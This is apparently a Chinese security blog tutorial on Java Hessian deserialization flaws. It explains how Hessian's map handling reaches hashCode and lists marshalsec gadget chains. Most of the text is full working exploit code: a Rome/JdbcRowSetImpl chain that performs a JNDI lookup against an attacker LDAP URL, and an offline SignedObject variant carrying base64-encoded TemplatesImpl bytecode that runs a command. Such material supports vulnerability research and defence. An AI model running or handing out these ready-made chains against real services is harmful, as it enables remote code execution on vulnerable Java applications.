Hessian 反序列化 基础 RPC Remote Procedure Call Protocol,远程过程调用协议,和 RMI(Remote Method Invocation,远程方法调用)类似,都能通过网络调用远程服务,但 RPC 是以标准的二进制格式来定义请求的信息,可用实现跨语言和跨操作系统通讯。
通讯过程:
1.客户端发起请求,并按照 RPC 协议格式填充信息 2.填充完毕后将二进制格式文件转化为流,通过传输协议进行传输 3.服务端接收到流后,将其转换为二进制格式文件,并按照 RPC 协议格式获取请求信息并进行处理 4.处理完毕后将结果按照 RPC 协议格式写入二进制格式文件中并返回
maven 添加扩展:
1 2 3 4 5 <dependency > <groupId > com.caucho</groupId > <artifactId > hessian</artifactId > <version > 4.0.63</version > </dependency >
Hessian反序列化与原生反序列化的区别 示例类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import javax.management.BadAttributeValueExpException;import java.io.ObjectInputStream;import java.io.Serializable;public class Code implements Serializable { public String name="ttt" ; public int age=222 ; public void setAge (int age) { this .age = age; } public void setName (String name) { this .name = name; } public String getName () { return name; } public int getAge () { return age; } private void readObject (ObjectInputStream ois) { System.out.print(1 ); } }
原生序列化反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.io.*;public class demo { public static void main (String[] args) throws IOException, ClassNotFoundException { ByteArrayOutputStream ser = new ByteArrayOutputStream (); ObjectOutputStream oser = new ObjectOutputStream (ser); oser.writeObject(new Code ()); oser.close(); System.out.println(ser); ObjectInputStream unser=new ObjectInputStream (new ByteArrayInputStream (ser.toByteArray())); Object newobj=unser.readObject(); } }
image-20230126221405110
Hessian序列化反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;public class hessianDemo { public static void main (String[] args) throws IOException { ByteArrayOutputStream ser = new ByteArrayOutputStream (); HessianOutput hessianOutput=new HessianOutput (ser); hessianOutput.writeObject(new Code ()); hessianOutput.close(); System.out.println(ser); HessianInput hessianInput=new HessianInput (new ByteArrayInputStream (ser.toByteArray())); hessianInput.readObject(); } }
image-20230126222015375
从运行结果中可以看出,Hessian
反序列化不会自动调用反序列化类的readObject
方法,这也就直接导致JDK原生反序列化的大多数gadget
在Hessian
反序列化中是不能用的。
还有一个很重要的区别,hessian
反序列化中序列化的类不需要实现序列化接口。
Hessian反序列化漏洞 虽然Hessian
反序列化不会自动调用反序列化类的readObject
方法,但其也有自己的特性,当其反序列化Map
类型的对象的时候,会自动调用其put
方法,写个demo试试
1 2 3 4 5 6 7 8 9 import java.util.HashMap;public class testMap extends HashMap { @Override public Object put (Object key, Object value) { System.out.println("test" ); return super .put(key, value); } }
然后反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.*;public class hessianDemo { public static void main (String[] args) throws IOException { testMap tt=new testMap (); tt.put(1 ,1 ); ByteArrayOutputStream ser=new ByteArrayOutputStream (); HessianOutput hessianOutput = new HessianOutput (ser); hessianOutput.writeObject(tt); System.out.println(ser); HessianInput hessianInput = new HessianInput (new ByteArrayInputStream (ser.toByteArray())); hessianInput.readObject(); } }
image-20230126224841023
可以看到确实调用了put
方法,这时看到HashMap
的put
方法
image-20230130233718255
对key
调用hash
方法进行处理
image-20230126225301457
只要key
不为空,就会调用其hashCode
方法,思路一下就打开了,之前看过的利用链中有部分就用到了hashCode
方法,比如rome
,又比如cc6等。
就如原生JDK有ysoserial
,Hessian
也有对应的工具生成paylaod
。marshalsec 中就集成了Hessian
反序列化的gadget
,可以使用其生成paylaod
,该工具中集成了5个gadget
Rome
XBean
Resin
SpringPartiallyComparableAdvisorHolder
SpringPartiallyComparableAdvisorHolder
漏洞分析 触发点 由于 Hessian 会加你个序列化的结果处理成一个 Map,所有序列化的结果的 bytes 的第一个 byte 总为 M(77),会进入这个case
1 2 3 4 5 case 'M' : { String type = readType(); return _serializerFactory.readMap(this , type); }
跟进readMap
1 2 3 4 public Object readMap (AbstractHessianInput in, String type) throws HessianProtocolException, IOException { Deserializer deserializer = getDeserializer(type);
跟进getDeserializer,创建一个 HashMap 作为缓存,先将要反序列化的类作为 key 放入 HashMap 中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public Deserializer getDeserializer (String type) throws HessianProtocolException { if (deserializer != null ) { if (_cachedTypeDeserializerMap == null ) _cachedTypeDeserializerMap = new HashMap (8 ); synchronized (_cachedTypeDeserializerMap) { _cachedTypeDeserializerMap.put(type, deserializer); } } return deserializer; }
这里会调用 HashMap.put 方法,结合之前分析过的 CC 链,后续调用的 hash 函数能触发任意类的 hashcode 方法。那么只需要找一条入口为 hashcode 的反序列化链即可
1 2 3 4 5 Rome XBean Resin SpringPartiallyComparableAdvisorHolder SpringAbstractBeanFactoryPointcutAdvisor
打Rome poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 package moonflower.hessian;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.caucho.hessian.io.ObjectNameDeserializer;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.rowset.JdbcRowSetImpl;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;public class Hessian_Rome { public static <T> byte [] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream (); HessianOutput output = new HessianOutput (bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); } public static <T> T deserialize (byte [] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream (bytes); HessianInput input = new HessianInput (bai); Object o = input.readObject(); return (T) o; } public static void setValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static Object getValue (Object obj, String name) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); return field.get(obj); } public static void main (String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); String url = "ldap://localhost:9999/EXP" ; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); HashMap hashMap = makeMap(equalsBean, "1" ); byte [] s = serialize(hashMap); System.out.println(s); System.out.println((HashMap)deserialize(s)); } public static HashMap<Object, Object> makeMap (Object v1, Object v2) throws Exception { HashMap<Object, Object> s = new HashMap <>(); setValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.until.HashMap$Node" ); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(s, "table" , tbl); return s; } }
Rome的rce过程
1 2 3 synchronized (_cachedTypeDeserializerMap) { _cachedTypeDeserializerMap.put(type, deserializer); }
进入触发点,接着调用 EqualBean 的 hashcode 方法
image-20230124203554850
接着会触发 ToStringBean 的 toString 方法(这里就有很多其它延申了,比如可以接一个 CC5)
image-20230124203614807
接着进入 JdbcRowSetImp 的 toString 方法,在其中会调用 JdbcRowSetImp 的 getter
image-20230124203639615
image-20230124203654578
当调用到 getDatabaseMetaData 的时候,会进入 connect 方法,进而调用 lookup 触发 jndi 注入。
image-20230124203716717
image-20230124203736906
不出网打法(ROME) hessian
反序列化依赖rome
的不出网利用方式
SignedObject二次反序列化 在java.security.SignedObject
中有一个getObject
方法
1 2 3 4 5 6 7 8 9 10 11 public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
是一个原生反序列化,那么就可以利用这里实现二次反序列化从而实现RCE。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import sun.security.provider.DSAPrivateKey;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.security.*;import java.util.Base64;import java.util.HashMap;public class romeExp { public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException { HashMap hashMapx=getObject(); SignedObject signedObject=new SignedObject (hashMapx, new DSAPrivateKey (), new Signature ("x" ) { @Override protected void engineInitVerify (PublicKey publicKey) throws InvalidKeyException { } @Override protected void engineInitSign (PrivateKey privateKey) throws InvalidKeyException { } @Override protected void engineUpdate (byte b) throws SignatureException { } @Override protected void engineUpdate (byte [] b, int off, int len) throws SignatureException { } @Override protected byte [] engineSign() throws SignatureException { return new byte [0 ]; } @Override protected boolean engineVerify (byte [] sigBytes) throws SignatureException { return false ; } @Override protected void engineSetParameter (String param, Object value) throws InvalidParameterException { } @Override protected Object engineGetParameter (String param) throws InvalidParameterException { return null ; } }); ToStringBean toStringBean=new ToStringBean (SignedObject.class,signedObject); ToStringBean toStringBean1=new ToStringBean (String.class,"s" ); ObjectBean objectBean=new ObjectBean (ToStringBean.class,toStringBean1); HashMap hashMap=new HashMap (); hashMap.put(objectBean,"novic4" ); Field obj= EqualsBean.class.getDeclaredField("_obj" ); Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean" ); obj.setAccessible(true ); equalsBean.setAccessible(true ); obj.set(equalsBean.get(objectBean),toStringBean); ByteArrayOutputStream ser = new ByteArrayOutputStream (); HessianOutput hessianOutput=new HessianOutput (ser); hessianOutput.writeObject(hashMap); hessianOutput.close(); System.out.println(ser); HessianInput hessianInput=new HessianInput (new ByteArrayInputStream (ser.toByteArray())); hessianInput.readObject(); } public static void setFieldValue (Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException { Field field=obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj,value); } public static HashMap getObject () throws NoSuchFieldException, IllegalAccessException { byte [] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==" ); byte [][] bytee= new byte [][]{bytecode}; TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_bytecodes" ,bytee); setFieldValue(templates,"_name" ,"Code" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); ToStringBean toStringBean=new ToStringBean (Templates.class,templates); ToStringBean toStringBean1=new ToStringBean (String.class,"s" ); ObjectBean objectBean=new ObjectBean (ToStringBean.class,toStringBean1); HashMap hashMap=new HashMap (); hashMap.put(objectBean,"novic4" ); Field obj=EqualsBean.class.getDeclaredField("_obj" ); Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean" ); obj.setAccessible(true ); equalsBean.setAccessible(true ); obj.set(equalsBean.get(objectBean),toStringBean); return hashMap; } }